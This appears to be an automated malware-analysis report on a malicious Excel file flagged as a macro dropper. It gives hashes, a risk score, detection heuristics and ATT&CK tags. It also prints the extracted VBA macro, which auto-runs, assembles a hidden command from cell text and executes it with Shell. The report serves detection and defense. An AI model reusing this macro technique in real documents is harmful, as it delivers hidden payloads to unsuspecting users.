Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 07a071e051b4e373…

MALICIOUS

Office (OOXML)

45.7 KB Created: 2020-07-16 09:18:33 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2020-07-24
MD5: 32b70acd04d9014b83daf9b7248499b6 SHA-1: 6bf2f6f7deea944732a35f7ef3ebc134efee5731 SHA-256: 07a071e051b4e373c28d212f19a77e22e141f4ef7b2d66d390819362aaa6dc16
80 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The critical ClamAV heuristic identified the file as a dropper. The embedded VBA macro contains obfuscated code that, when deobfuscated, appears to construct a command string from constants and then execute it using the Shell function. This indicates the macro's purpose is to download and run a secondary payload. The presence of VBA macros also suggests a spearphishing attachment vector.

Heuristics 2

  • ClamAV: Doc.Dropper.Agent-8890113-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-8890113-0
  • VBA project inside OOXML medium OOXML_VBA
    Document contains a VBA project — VBA macros present

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 979 bytes
SHA-256: 98045960f6ee4e83c5f669db909a773071ee5172e65e3e5aedfd7271aa6585a5
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "m2, 1, 0, MSForms, Frame"
Private Sub m2_Layout()
nk
End Sub
Sub nk()
For Each kl In ActiveSheet.UsedRange.SpecialCells(xlCellTypeConstants): If Len(kl) > 2.49 Then b = b & Mid(kl.Text, 3, 1)
Next
Application.WindowState = xlMinimized: Shell@ ((((b)))), 0: Application.Wait (Now + TimeValue("00:00:07")): ActiveWorkbook.Close 0
End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 10240 bytes
SHA-256: c58721f968e85b80f8cfa80a7628d6f03d793b247e94d0703f34d99696cd00c3
emf_00.emf ooxml-emf OOXML EMF part: xl/media/image1.emf 2024 bytes
SHA-256: 068b1b5475127332c13ed6c07f9f55ab2bbf3b5b1b0ac4caa9d13171780bc214

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